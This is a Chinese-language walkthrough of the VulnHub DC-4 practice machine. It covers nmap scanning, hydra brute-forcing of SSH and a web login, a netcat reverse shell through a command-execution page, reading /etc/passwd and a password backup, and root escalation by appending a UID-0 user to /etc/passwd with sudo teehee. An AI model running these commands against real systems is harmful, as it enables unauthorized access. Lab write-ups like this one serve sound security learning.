vulnhub-dc-4
vulnhub第五个靶机
靶机地址: https://www.vulnhub.com/entry/dc-4,313/.
知识点
nmap
用nmap查询局域网内存活的主机,发现靶机ip
nmap -T4 192.168.40.0/24
用nmap进行更详细的探测,发现开着的端口和服务
端口 | 服务 |
---|---|
22 | ssh |
80 | http |
nmap -T4 -sV -A -p- 192.168.40.134
端口:22——>爆破——>失败
hydra -l root -P rockyou.txt 192.168.40.134 ssh -t 4
hydra
端口:80——>web漏洞——>成功
访问主页发现是一个登录框,对后台进行扫描,没发现可利用的信息,只能对其进行爆破。
使用hydra对其登录页面进行爆破,爆破出帐号密码
admin:happy
hydra -l admin -P rockyou.txt 192.168.40.134 http-post-form "/login.php:username=^USER^&password=^PASS^:S=logout"
登录到后台发现有一个可以之执行命令的页面
可以对其抓包反弹shell,拿shell(一句话木马和bash貌似被过滤了,所以利用nc)
python -c "import pty;pty.spawn('/bin/bash')" #打开一个标准shell
cat /etc/passwd
发现有三个用户,分别是:charles、jim、sam
经过一番好找,最后在home/jim/backups目录下找到一个密码字典
在靶机上开启临时http服务,在kali上下载该密码文件
python -m SimpleHTTPServer
wget http://192.168.40.134:8000/old-passwords.bak
用hydra对jim用户进行爆破
hydra -l jim -P old-passwords.bak 192.168.40.134 ssh -t 20
帐号密码:jimi:jibril04
teehee的sudo提权
在jim目录下发现一封邮件
在/var/mail下查看邮件,发现charles的密码
登录之后,发现charles可以无密码以root身份执行teehee命令,该命令可以追加数据
那我们可以添加一个权限为0的用户到/etc/passwd文件中去,拿到最后的falg
echo 'hfn:$1$xyz$X11iz6ox24iPDed6detyU.:0:0:root:/root:/bin/bash' | sudo teehee -a /etc/passwd
ps:
个人站点博客:XingHe,欢迎来踩~